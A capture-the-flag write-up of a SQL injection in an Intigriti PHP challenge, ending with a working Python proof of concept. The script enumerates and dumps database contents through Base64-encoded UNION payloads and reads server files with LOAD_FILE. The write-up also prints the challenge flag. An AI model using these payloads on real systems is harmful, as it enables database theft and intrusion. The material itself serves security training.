Intigriti Challenge: Critter Gallery SQL Injection
The target was a simple PHP application:
https://challenge-0926.challenges.intigriti.io/challenge.php
It showed animal descriptions based on a pic parameter. Valid names, such as fox, returned a short description. Unknown names returned No critter goes by that name yet.
Key Discovery
The application performs a real database lookup:
- A valid animal returns its description.
- An unknown value returns the
No crittermessage.
This behavior is typical of a query such as:
SELECT description FROM animals WHERE name = '$pic'
The input is first Base64-decoded by PHP and then used in the SQL query. Base64 therefore acts as light obfuscation; the underlying vulnerability is SQL injection.
Confirming the Vulnerability
I tested the application with systematically Base64-encoded payloads.
Boolean-based tests showed that true conditions produced clearly longer responses than false conditions, with a difference of approximately 369 bytes. This provided a reliable boolean oracle.
Time-based payloads containing SLEEP(3) consistently delayed responses by approximately three seconds. Other database sleep functions did not. This confirmed that the backend was MySQL.
UNION SELECT NULL worked, while UNION SELECT NULL,NULL and higher column counts returned empty responses. The original query therefore selected one column.
At this point, SQL injection was confirmed, the database was identified as MySQL, and a single-column UNION was available.
Extracting the Flag
I switched to a clean UNION-based extractor using this payload pattern:
fox' UNION SELECT <data>--
The application reflected the selected data inside the description element, which provided the extraction channel.
Enumeration produced the following results:
- Database:
critter_gallery - Tables:
animals,secret_vault - Columns of
secret_vault:id,note
Dumping the note column returned the flag:
INTIGRITI{01a09f56-74a2-700b-a849-ffe6742327b2}
Final Flag
INTIGRITI{01a09f56-74a2-700b-a849-ffe6742327b2}
Attack Summary
- Observed that the
picparameter was Base64-encoded and that the application performed a real database lookup. - Confirmed SQL injection with boolean response-length differences and time-based delays.
- Identified that the query returned a single column.
- Used
UNION SELECTto enumerate databases, tables, and columns. - Extracted
secret_vault.noteand retrieved the flag.
Proof of Concept
The following Python PoC automates the UNION-based extraction process described above. It is intended only for the authorized Intigriti challenge environment.
The script verifies MySQL information, enumerates databases, tables, columns, and table contents, then checks fallback flag locations and known challenge source paths.
#!/usr/bin/env python3
"""Extract the flag via UNION-based SQL injection."""
import base64
import html
import re
import sys
import requests
BASE = "https://challenge-0926.challenges.intigriti.io/challenge.php"
FLAG_RE = re.compile(r"INTIGRITI\{[^}\n]{1,200}\}", re.I)
session = requests.Session()
session.headers["User-Agent"] = "Mozilla/5.0 (CTF)"
def b64(value):
encoded = value.encode() if isinstance(value, str) else value
return base64.b64encode(encoded).decode()
def inject(subquery):
"""Send a UNION SELECT payload against the challenge endpoint."""
payload = f"fox' UNION SELECT {subquery}-- "
response = session.get(BASE, params={"pic": b64(payload)}, timeout=15)
match = re.search(r'<div class="desc[^"]*">(.*?)</div>', response.text, re.S)
if not match:
return None
text = match.group(1)
text = re.sub(r'<br\s*/?>', "\n", text)
text = re.sub(r'<[^>]+>', "", text)
return html.unescape(text).strip()
print("=" * 60)
print("STEP 1: Extract MySQL information")
print("=" * 60)
for name, subquery in [
("version", "@@version"),
("database", "database()"),
("user", "current_user()"),
("@@datadir", "@@datadir"),
("@@hostname", "@@hostname"),
("schema count", "(SELECT COUNT(*) FROM information_schema.schemata)"),
]:
result = inject(subquery)
print(f" {name:15} -> {result!r}")
print("\n" + "=" * 60)
print("STEP 2: Enumerate databases")
print("=" * 60)
databases = inject(
"(SELECT group_concat(schema_name SEPARATOR '|') "
"FROM information_schema.schemata)"
)
print(f" databases: {databases}")
print("\n" + "=" * 60)
print("STEP 3: Enumerate tables")
print("=" * 60)
tables = inject(
"(SELECT group_concat(table_name SEPARATOR '|') "
"FROM information_schema.tables WHERE table_schema=database())"
)
print(f" tables in current database: {tables}")
all_tables = inject(
"(SELECT group_concat(CONCAT(table_schema,'.',table_name) SEPARATOR '|') "
"FROM information_schema.tables WHERE table_schema NOT IN "
"('information_schema','mysql','performance_schema','sys'))"
)
print(f" all user tables: {all_tables}")
print("\n" + "=" * 60)
print("STEP 4: Enumerate columns")
print("=" * 60)
table_list = [table.strip() for table in (tables or "").split("|") if table.strip()]
for table in table_list:
columns = inject(
f"(SELECT group_concat(column_name SEPARATOR '|') "
f"FROM information_schema.columns WHERE table_name='{table}')"
)
print(f" {table}: {columns}")
print("\n" + "=" * 60)
print("STEP 5: Dump table contents")
print("=" * 60)
for table in table_list:
columns_text = inject(
f"(SELECT group_concat(column_name SEPARATOR ',') "
f"FROM information_schema.columns WHERE table_name='{table}')"
)
if not columns_text:
continue
columns = [column.strip() for column in columns_text.split(",") if column.strip()]
for column in columns:
data = inject(f"(SELECT group_concat({column} SEPARATOR '||') FROM {table})")
print(f" {table}.{column} -> {data}")
if data:
flag_match = FLAG_RE.search(data)
if flag_match:
print(f"\n FLAG FOUND: {flag_match.group(0)}\n")
sys.exit(0)
print("\n" + "=" * 60)
print("STEP 6: Check common flag locations")
print("=" * 60)
fallbacks = [
("flags", "flag"),
("flags", "value"),
("flag", "flag"),
("flag", "value"),
("secret", "secret"),
("secrets", "secret"),
("animals", "flag"),
("animals", "secret"),
("challenge", "flag"),
("config", "value"),
]
for table, column in fallbacks:
data = inject(f"(SELECT group_concat({column} SEPARATOR '||') FROM {table})")
if data:
print(f" {table}.{column} -> {data}")
flag_match = FLAG_RE.search(data)
if flag_match:
print(f"\n FLAG FOUND: {flag_match.group(0)}\n")
sys.exit(0)
print("\n" + "=" * 60)
print("STEP 7: Try reading known challenge source paths")
print("=" * 60)
for source_path in [
"/var/www/html/challenge.php",
"/var/www/html/index.php",
"/app/challenge.php",
"challenge.php",
]:
source = inject(f"LOAD_FILE('{source_path}')")
if source:
print(f" {source_path}:\n {source[:2000]}")
flag_match = FLAG_RE.search(source)
if flag_match:
print(f"\n FLAG FOUND: {flag_match.group(0)}\n")
print("\n[*] Done.")